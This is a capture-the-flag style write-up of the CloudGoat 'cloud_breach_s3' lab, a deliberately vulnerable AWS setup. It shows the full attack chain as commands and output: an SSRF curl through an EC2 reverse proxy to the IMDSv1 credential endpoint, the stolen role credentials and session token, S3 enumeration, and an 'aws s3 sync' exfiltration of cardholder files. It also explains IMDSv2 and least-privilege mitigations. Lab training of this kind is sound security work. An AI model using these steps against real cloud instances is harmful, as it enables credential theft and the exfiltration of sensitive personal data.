In this CloudGoat scenario (cloud_breach_s3), the objective is to exfiltrate confidential files from an S3 bucket. We’re provided with an EC2 instance IP address and the AWS account number. The EC2 instance is acting as a reverse proxy, which becomes the pivot point for the attack. Knowing this, I started by attempting to access the EC2 instance metadata. Using a simple curl
request, I was able to query the metadata service. The instance was configured with IMDSv1, which allows unauthenticated access from inside the instance or via SSRF. Through this, I was able to retrieve a temporary access key and session token. With these credentials, I configured my AWS CLI and successfully enumerated and accessed the S3 buckets. I then downloaded the cardholder data files to my local machine.
What is Instance Metadata?
The Instance Metadata Service (IMDS) is how EC2 instances obtain identity and configuration information about themselves, including temporary IAM credentials. These credentials allow the instance to interact with other AWS services securely without hardcoding secrets in the code or environment. When misconfigured, however, IMDS can be a serious security risk. With IMDSv1, any process or attacker with access to the instance (or a vulnerable reverse proxy) can query metadata without authentication, leading to credential theft. To mitigate this, AWS introduced IMDSv2, which requires a session token to access metadata helping block SSRF attacks and reduce the attack surface.
What is S3?
Amazon S3 (Simple Storage Service) is like a cloud-based hard drive that lets you store and retrieve files over the internet. Think of it like Dropbox, Google Drive, or OneDrive but more flexible and integrated into cloud applications. Files in S3 are stored in buckets, which can be public or private. Misconfigured buckets are one of the most common causes of cloud data leaks, exposing sensitive data like credentials, logs, or even customer data. When working with S3, always follow the principle of least privilege only grant access to people or services that absolutely need it, and avoid public access unless absolutely required.
Detailed Steps:
Initial Access
cloudgoat_output_aws_account_id = 202230******
cloudgoat_output_target_ec2_server_ip = 3.95.243.190
Curl request to enumerate EC2 reverse proxy
- We were able to query the meta-data and find a temp token
curl -H 'Host: 169.254.169.254' <http://3.95.243.190/latest/meta-data/iam/security-credentials/cg-banking-WAF-Role-cgidpydbaj3hqx>
{
"Code" : "Success",
"LastUpdated" : "2025-05-13T00:42:40Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIAS6FO56WF73FQKUY6",
"SecretAccessKey" : "kaicrJCQE68vPfys+08/F84hG1lp***************",
"Token" : "IQoJb3JpZ2luX2VjEDkaCXVzLWVhc3QtMSJGMEQCIAe/i7b7cvr+0TxU/wnERJo7UiqGXKEHlk3VUvC+FV+VAiB9f3v0iXovu+GuI+uY5+dGnvbEHzjHkhsRUzFtdbOBvCrEBQji//////////8BEAAaDDIwMjIzMDMzMDc2MyIMpJcSgSNbR7DXiHZrKpgFpbIhxHwMsDKu8WsVLTFChNR8VSktUdQQ+TrmrjMvGYOijCVs91FMpO+UfrEmnA0mIoiqgoiLgkyfDhHzZm5XdSgknvTw59pdB5KBo5lYlhDlfcwFd+Yqs9AtlTA5lINndFuJDrWmLv1yFA3rzipy7H8f10Yk6vT0yRtTl3TeBZC2h7Uk0cCG4sf7Pr+PLYr5lYQ7Zyiq14no01Wxn+Rak3zTt+TrOCXUPLpRhC61yJMfeiYhN5tpnHm3tP4Qe53T9CAwiBB8v0lpPy2vRsIvrSCCZKCAscn0suyAZib5+GsScqXJeld3qDfpYmXn2z7zGOPgWy0IM02cIKPEsAsZM3xvOtgeO50fPw8RMLpZnQwEcEn3SvVxcQwS57msNwR0ysdARUZ1MzEXDklUqLvgE/jtgq9p4+hvgu9ruj6huHwman1F5c7rFMpwASCL4lMPgA4xbGzqQLJ1LsHy/ykCOiFDNZ3krTSxgzAoZ79wIVPB/RXWR07db7Nc/tYlLjypJt58aF6u/BH8fEYLOhvSFP/+OJmsCcwqZKw8mTFud8YR4IIPK+QkBsdS0bYCF1gm5V5BqlXItkwWrSD4sdQirQw6QTuFJD27oCB6c7XB99DHbspJrxzEXECRuzC71OtOCU0+PP8C1YMLnJomWdobqT6Dg1JZ3yTuZivMvKjgv+phJWkfX5KJyr/t6ZRxMwyLssphvtoO3ZsSNL7aWb7e7TfMvvG0YRjPoKPw8F+YtEVNiICej9KRRcAQloavxKP+tWrEDazjEfZKwY7fAZhlFtKg/F71YYRf2+wZFpsEnLlcN7SOBhM2f5vF9wbTNQkWPQVUMtzu7d9OP76jEtXTc9D4U4W9fB2rupPltZNfrEf8IUeFTJktbTCfq4rBBjqyAbJfiVFuiF5HRkhM2QVhKS0igSSjGz8iMWno+agArleqSpp4a2MlGEqLPCo8P3wxwURLCKwAZBYyzveZ48Y/UpO1lY9MohOGD+vA4fXpoU0s8IBIepLXqkwZWd/lxLYjcyn0O+iodKh2usf+BO1IRebByI6UIfawYSy5djwJIapViBEsa+PkdKqBisD/r4Uhh6/0k8KkDUY7s2i2eJQ1YtZW9RBBfHoS6O5oSf9heb+2vSg=",
"Expiration" : "2025-05-13T07:18:11Z"
}
Caller Identity
(jimmy㉿kali)-[~]
└─$ aws sts get-caller-identity --profile s3-token
{
"UserId": "AROAS6FO56WF3WHN2GIYX:i-09415bd1031ba809b",
"Account": "202230******",
"Arn": "arn:aws:sts::202230******:assumed-role/cg-banking-WAF-Role-cgidpydbaj3hqx/i-09415bd1031ba809b"
}
Enumerating S3 buckets
(jimmy㉿kali)-[~]
└─$ aws s3 ls --profile s3-token
2025-05-12 20:42:49 cg-cardholder-data-bucket-cgidpydbaj3hqx
2025-05-10 13:31:39 elasticbeanstalk-us-east-1-202230******
(jimmy㉿kali)-[~/cloudgoat/s3]
└─$ aws s3 ls s3://cg-cardholder-data-bucket-cgidpydbaj3hqx --profile s3-token
2025-05-12 20:42:51 58872 cardholder_data_primary.csv
2025-05-12 20:42:51 59384 cardholder_data_secondary.csv
2025-05-12 20:42:51 92165 cardholders_corporate.csv
2025-05-12 20:42:51 249500 goat.png
We found the confidential files.
- Downloading the files with sync command
(jimmy㉿kali)-[~/cloudgoat/s3]
└─$ aws s3 sync s3://cg-cardholder-data-bucket-cgidpydbaj3hqx . --profile s3-token
download: s3://cg-cardholder-data-bucket-cgidpydbaj3hqx/cardholder_data_secondary.csv to ./cardholder_data_secondary.csv
download: s3://cg-cardholder-data-bucket-cgidpydbaj3hqx/cardholder_data_primary.csv to ./cardholder_data_primary.csv
download: s3://cg-cardholder-data-bucket-cgidpydbaj3hqx/cardholders_corporate.csv to ./cardholders_corporate.csv
download: s3://cg-cardholder-data-bucket-cgidpydbaj3hqx/goat.png to ./goat.png
- Files seem to contain Social, Name, Password, Email, Sex, and IP
